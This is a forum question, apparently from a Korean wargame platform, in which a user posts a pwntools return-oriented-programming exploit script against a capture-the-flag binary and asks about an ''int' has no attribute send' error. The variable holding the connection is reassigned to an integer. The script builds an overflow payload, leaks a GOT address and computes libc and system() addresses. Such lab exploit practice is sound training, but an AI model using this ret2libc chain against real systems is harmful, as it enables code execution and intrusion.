완료됨
'int' Object has no attribute 'send'
작성자 정보
답변
4
2
3 p = remote("host1.dreamhack.games", 18769)
4
5 libc = ELF("./libc.so.6")
6 elf = ELF("./basic_rop_x64")
7
8 write_got = elf.got['write']
9 write_plt = elf.plt['write']
10 read_got = elf.got['read']
11 read_plt = elf.plt['read']
12
13 context.log_level = 'debug'
14
15 pop = 0x000000000040087e
16 p = 0x0000000000400882
17
18 payload = b'A' * 0x48
19 payload += p64(write_plt)
20 payload += p64(pop)
21 payload += p64(1)
22 payload += p64(read_got)
23 payload += p64(8)
24
25 payload += p64(read_plt)
26 payload += p64(pop)
27 payload += p64(0)
28 payload += p64(read_got)
29 payload += p64(16)
30
31 payload += p64(read_plt)
32 payload += p64(p)
33 payload += p64(read_got + 8)
34
35 p.send(payload)
36
37 p.recvuntil('A' * 0x40)
38 read = u64(p.recv(6) + b"\x00" * 2)
39
40 print(hex(read))
41
42 lib_base = read - libc.sym['read']
43 print(hex(lib_base))
44 system = lib_base + libc.sym['system']
45 print(hex(system))```